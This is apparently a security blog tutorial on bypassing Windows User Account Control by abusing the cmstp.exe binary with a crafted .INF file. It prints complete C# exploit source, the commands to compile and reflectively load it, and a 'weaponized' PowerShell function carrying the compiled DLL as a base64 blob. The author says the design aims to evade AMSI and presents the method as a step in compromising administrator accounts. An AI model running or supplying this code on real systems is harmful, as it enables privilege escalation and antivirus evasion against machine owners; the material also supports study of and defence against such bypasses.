What is UAC?

UAC (User Account Control) is a security feature, introduced from Windows 7 and onward versions of Windows. This prevents that even a local administrator account can’t execute changes to operating system, unless the user specifically chooses to. It is very common to see desktop users working with Administrators account (not recommended, but common), so even if a Malware, using a compromised Local Administrator account, tries to change something in the registry, or create a new service in the system, UAC won’t let that happen.

Until someone found a way to bypass it. And there are a lot of UAC bypasses since Windows 7. It became so common that even Microsoft treats this kind of problem as “non-priority” security issue.

One way of checking if you are in a Medium Integrity process is to run the command whoami /privand see if all privileges are available.

The image above depicts a medium integrity process, as you can see, it does not have all privileges.

When you start something “As Administrator”, and run whoami /priv, you will find out that there is a lot more.

How to Bypass UAC in newer Windows versions

I digged the internet for some bypass that could affect my own machine. And I found the amazing research of Oddvar Moe about exploiting microsoft “cmstp.exe” as a way to bypass UAC.

Later on, after more reading from Oddvar post, I stumbled with Tyler Applebaum powershell script that could trigger this vulnerabiity as well.

With all these information, I decided to work in this technique and develop my own, but to keep originality, I chose to code it in C#, so we can produce a PowerShell script with DLL reflection and very few strings so AMSI will have a hard time blocking it.

The resulting C# code is this one:

/* 
UAC Bypass using CMSTP.exe microsoft binary

Based on previous work from Oddvar Moe
https://oddvar.moe/2017/08/15/research-on-cmstp-exe/

And this PowerShell script of Tyler Applebaum
https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1

Code author: Andre Marques (@_zc00l)
*/
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Windows;
using System.Runtime.InteropServices;

public class CMSTPBypass
{
    // Our .INF file data!
    public static string InfData = @"[version]
Signature=$chicago$
AdvancedINF=2.5

[DefaultInstall]
CustomDestination=CustInstDestSectionAllUsers
RunPreSetupCommands=RunPreSetupCommandsSection

[RunPreSetupCommandsSection]
; Commands Here will be run Before Setup Begins to install
REPLACE_COMMAND_LINE
taskkill /IM cmstp.exe /F

[CustInstDestSectionAllUsers]
49000,49001=AllUSer_LDIDSection, 7

[AllUSer_LDIDSection]
""HKLM"", ""SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\CMMGR32.EXE"", ""ProfileInstallPath"", ""%UnexpectedError%"", """"

[Strings]
ServiceName=""CorpVPN""
ShortSvcName=""CorpVPN""

";

    [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
    [DllImport("user32.dll", SetLastError = true)] public static extern bool SetForegroundWindow(IntPtr hWnd);

    public static string BinaryPath = "c:\\windows\\system32\\cmstp.exe";

    /* Generates a random named .inf file with command to be executed with UAC privileges */
    public static string SetInfFile(string CommandToExecute)
    {
        string RandomFileName = Path.GetRandomFileName().Split(Convert.ToChar("."))[0];
        string TemporaryDir = "C:\\windows\\temp";
        StringBuilder OutputFile = new StringBuilder();
        OutputFile.Append(TemporaryDir);
        OutputFile.Append("\\");
        OutputFile.Append(RandomFileName);
        OutputFile.Append(".inf");
        StringBuilder newInfData = new StringBuilder(InfData);
        newInfData.Replace("REPLACE_COMMAND_LINE", CommandToExecute);
        File.WriteAllText(OutputFile.ToString(), newInfData.ToString());
        return OutputFile.ToString();
    }

    public static bool Execute(string CommandToExecute)
    {
        if(!File.Exists(BinaryPath))
        {
            Console.WriteLine("Could not find cmstp.exe binary!");
            return false;
        }
        StringBuilder InfFile = new StringBuilder();
        InfFile.Append(SetInfFile(CommandToExecute));

        Console.WriteLine("Payload file written to " + InfFile.ToString());
        ProcessStartInfo startInfo = new ProcessStartInfo(BinaryPath);
        startInfo.Arguments = "/au " + InfFile.ToString();
        startInfo.UseShellExecute = false;
        Process.Start(startInfo);

        IntPtr windowHandle = new IntPtr();
        windowHandle = IntPtr.Zero;
        do {
            windowHandle = SetWindowActive("cmstp");
        } while (windowHandle == IntPtr.Zero);

        System.Windows.Forms.SendKeys.SendWait("{ENTER}");
        return true;
    }

    public static IntPtr SetWindowActive(string ProcessName)
    {
        Process[] target = Process.GetProcessesByName(ProcessName);
        if(target.Length == 0) return IntPtr.Zero;
        target[0].Refresh();
        IntPtr WindowHandle = new IntPtr();
        WindowHandle = target[0].MainWindowHandle;
        if(WindowHandle == IntPtr.Zero) return IntPtr.Zero;
        SetForegroundWindow(WindowHandle);
        ShowWindow(WindowHandle, 5);
        return WindowHandle;
    }
}

Name it “Source.cs”.

To compile it, use the following syntax, in a PowerShell shell that is in the same directory as this source.

Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "CMSTP-UAC-Bypass.dll"

Now you have this “dll” with our C# code.

To use this bypass directly from DLL, check this powershell trick:

PS C:\> [Reflection.Assembly]::Load([IO.File]::ReadAllBytes("$pwd\CMSTP-UAC-Bypass.dll"))

GAC    Version        Location
---    -------        --------
False  v4.0.30319

PS C:\> [CMSTPBypass]::Execute("C:\Windows\System32\cmd.exe")

And a high-integrity cmd.exe should pop up in your screen!

As you can see, we have gone from a non-UAC process and spawned a Administrator process!

I tested this technique with Windows 10 build 17134, version 1803 and it worked flawlessly!

Weaponizing with PowerShell

Now we go to automation. To create a PowerShell script to exploit this technique, I have used the same old DLL reflection that I always like to use.

function Bypass-UAC
{
    Param(
        [Parameter(Mandatory = $true, Position = 0)]
        [string]$Command
    )
    if(-not ([System.Management.Automation.PSTypeName]'CMSTPBypass').Type)
    {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAGbn2VsAAAAAAAAAAOAAAiELAQsAABAAAAAGAAAAAAAAzi4AAAAgAAAAQAAAAAAAEAAgAAAAAgAABAAAAAAAAAAEAAAAAAAAAACAAAAAAgAAAAAAAAMAQIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAHwuAABPAAAAAEAAAMgCAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAA1A4AAAAgAAAAEAAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAMgCAAAAQAAAAAQAAAASAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAFgAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAACwLgAAAAAAAEgAAAACAAUAFCIAAGgMAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwBACJAAAAAQAAESgEAAAKF40GAAABEwQRBBZyAQAAcCgFAAAKnREEbwYAAAoWmgpyBQAAcAtzBwAACgwIB28IAAAKJghyJQAAcG8IAAAKJggGbwgAAAomCHIpAABwbwgAAAomfgEAAARzCQAACg0JcjMAAHACbwoAAAomCG8LAAAKCW8LAAAKKAwAAAoIbwsAAAoqAAAAEzADAKEAAAACAAARfgIAAAQoDQAACi0Mcl0AAHAoDgAAChYqcwcAAAoKBgIoAwAABm8IAAAKJnKfAABwBm8LAAAKKA8AAAooDgAACn4CAAAEcxAAAAoLB3LRAABwBm8LAAAKKA8AAApvEQAACgcWbxIAAAoHKBMAAAomEgL+FQ4AAAF+FAAACgxy2wAAcCgFAAAGDAh+FAAACigVAAAKLehy5wAAcCgWAAAKFyoAAAATMAIATwAAAAMAABECKBcAAAoKBo5pLQZ+FAAACioGFppvGAAAChIB/hUOAAABBhaabxkAAAoLB34UAAAKKBUAAAosBn4UAAAKKgcoAgAABiYHGygBAAAGJgcqVnL3AABwgAEAAARyiAUAcIACAAAEKh4CKBoAAAoqAAAAQlNKQgEAAQAAAAAADAAAAHY0LjAuMzAzMTkAAAAABQBsAAAAdAIAACN+AADgAgAA5AIAACNTdHJpbmdzAAAAAMQFAADEBQAAI1VTAIgLAAAQAAAAI0dVSUQAAACYCwAA0AAAACNCbG9iAAAAAAAAAAIAAAFXFQIUCQAAAAD6JTMAFgAAAQAAAA8AAAACAAAAAgAAAAcAAAAGAAAAGgAAAAIAAAADAAAAAQAAAAIAAAABAAAAAwAAAAAACgABAAAAAAAGADsANAAGAOgAyAAGAAgByAAGAFYBNwEGAH4BdAEGAJUBNAAGAJoBNAAGAKkBNAAGAMIBtgEGAOgBdAEGAAECNAAKAC0CGgIKAGACGgIGAG4CNAAOAJsChgIAAAAAAQAAAAAAAQABAAEAEAAfAAAABQABAAEAFgBCAAoAFgBpAAoAAAAAAIAAliBKAA0AAQAAAAAAgACWIFUAEwADAFAgAAAAAJYAdAAYAAQA6CAAAAAAlgB/AB0ABQCYIQAAAACWAIcAIgAGAAkiAAAAAIYYlwAnAAcA8yEAAAAAkRjdAqEABwAAAAEAnQAAAAIAogAAAAEAnQAAAAEAqwAAAAEAqwAAAAEAvAARAJcAKwAZAJcAJwAhAJcAMAApAIMBNQA5AKIBOQBBALABPgBJAJcAJwBJANABRQBJAJcAMABJANcBSwAJAN8BUgBRAO0BVgBRAPoBHQBZAAkCZwBBABMCbABhAJcAMABhAD4CMABhAEwCcgBpAGgCdwBxAHUCfgBxAHoCgQB5AKQCZwBpAK0CjwBpAMACJwBpAMgClgAJAJcAJwAuAAsApQAuABMArgBcAIcAmgBpAQABAwBKAAEAQAEFAFUAAQAEgAAAAAAAAAAAAAAAAAAAAAAmAQAABAAAAAAAAAAAAAAAAQArAAAAAAAEAAAAAAAAAAAAAAABADQAAAAAAAQAAAAAAAAAAAAAAAEAhgIAAAAAAAAAAAA8TW9kdWxlPgBDTVNUUC1VQUMtQnlwYXNzLmRsbABDTVNUUEJ5cGFzcwBtc2NvcmxpYgBTeXN0ZW0AT2JqZWN0AEluZkRhdGEAU2hvd1dpbmRvdwBTZXRGb3JlZ3JvdW5kV2luZG93AEJpbmFyeVBhdGgAU2V0SW5mRmlsZQBFeGVjdXRlAFNldFdpbmRvd0FjdGl2ZQAuY3RvcgBoV25kAG5DbWRTaG93AENvbW1hbmRUb0V4ZWN1dGUAUHJvY2Vzc05hbWUAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAENNU1RQLVVBQy1CeXBhc3MAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAERsbEltcG9ydEF0dHJpYnV0ZQB1c2VyMzIuZGxsAFN5c3RlbS5JTwBQYXRoAEdldFJhbmRvbUZpbGVOYW1lAENoYXIAQ29udmVydABUb0NoYXIAU3RyaW5nAFNwbGl0AFN5c3RlbS5UZXh0AFN0cmluZ0J1aWxkZXIAQXBwZW5kAFJlcGxhY2UAVG9TdHJpbmcARmlsZQBXcml0ZUFsbFRleHQARXhpc3RzAENvbnNvbGUAV3JpdGVMaW5lAENvbmNhdABTeXN0ZW0uRGlhZ25vc3RpY3MAUHJvY2Vzc1N0YXJ0SW5mbwBzZXRfQXJndW1lbnRzAHNldF9Vc2VTaGVsbEV4ZWN1dGUAUHJvY2VzcwBTdGFydABJbnRQdHIAWmVybwBvcF9FcXVhbGl0eQBTeXN0ZW0uV2luZG93cy5Gb3JtcwBTZW5kS2V5cwBTZW5kV2FpdABHZXRQcm9jZXNzZXNCeU5hbWUAUmVmcmVzaABnZXRfTWFpbldpbmRvd0hhbmRsZQAuY2N0b3IAAAMuAAAfQwA6AFwAdwBpAG4AZABvAHcAcwBcAHQAZQBtAHAAAANcAAAJLgBpAG4AZgAAKVIARQBQAEwAQQBDAEUAXwBDAE8ATQBNAEEATgBEAF8ATABJAE4ARQAAQUMAbwB1AGwAZAAgAG4AbwB0ACAAZgBpAG4AZAAgAGMAbQBzAHQAcAAuAGUAeABlACAAYgBpAG4AYQByAHkAIQAAMVAAYQB5AGwAbwBhAGQAIABmAGkAbABlACAAdwByAGkAdAB0AGUAbgAgAHQAbwAgAAAJLwBhAHUAIAAAC2MAbQBzAHQAcAAAD3sARQBOAFQARQBSAH0AAISPWwB2AGUAcgBzAGkAbwBuAF0ADQAKAFMAaQBnAG4AYQB0AHUAcgBlAD0AJABjAGgAaQBjAGEAZwBvACQADQAKAEEAZAB2AGEAbgBjAGUAZABJAE4ARgA9ADIALgA1AA0ACgANAAoAWwBEAGUAZgBhAHUAbAB0AEkAbgBzAHQAYQBsAGwAXQANAAoAQwB1AHMAdABvAG0ARABlAHMAdABpAG4AYQB0AGkAbwBuAD0AQwB1AHMAdABJAG4AcwB0AEQAZQBzAHQAUwBlAGMAdABpAG8AbgBBAGwAbABVAHMAZQByAHMADQAKAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAPQBSAHUAbgBQAHIAZQBTAGUAdAB1AHAAQwBvAG0AbQBhAG4AZABzAFMAZQBjAHQAaQBvAG4ADQAKAA0ACgBbAFIAdQBuAFAAcgBlAFMAZQB0AHUAcABDAG8AbQBtAGEAbgBkAHMAUwBlAGMAdABpAG8AbgBdAA0ACgA7ACAAQwBvAG0AbQBhAG4AZABzACAASABlAHIAZQAgAHcAaQBsAGwAIABiAGUAIAByAHUAbgAgAEIAZQBmAG8AcgBlACAAUwBlAHQAdQBwACAAQgBlAGcAaQBuAHMAIAB0AG8AIABpAG4AcwB0AGEAbABsAA0ACgBSAEUAUABMAEEAQwBFAF8AQwBPAE0ATQBBAE4ARABfAEwASQBOAEUADQAKAHQAYQBzAGsAawBpAGwAbAAgAC8ASQBNACAAYwBtAHMAdABwAC4AZQB4AGUAIAAvAEYADQAKAA0ACgBbAEMAdQBzAHQASQBuAHMAdABEAGUAcwB0AFMAZQBjAHQAaQBvAG4AQQBsAGwAVQBzAGUAcgBzAF0ADQAKADQAOQAwADAAMAAsADQAOQAwADAAMQA9AEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4ALAAgADcADQAKAA0ACgBbAEEAbABsAFUAUwBlAHIAXwBMAEQASQBEAFMAZQBjAHQAaQBvAG4AXQANAAoAIgBIAEsATABNACIALAAgACIAUwBPAEYAVABXAEEAUgBF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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAMAAAA0D4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")) | Out-Null
    }
    [CMSTPBypass]::Execute($Command)
}

This is enough. You can import this function and execute it like this, to spawn an elevated process:

Bypassing UAC is an important step when compromising Local Administrator accounts. After UAC, you can “get system” very easily.

Learn something new everyday!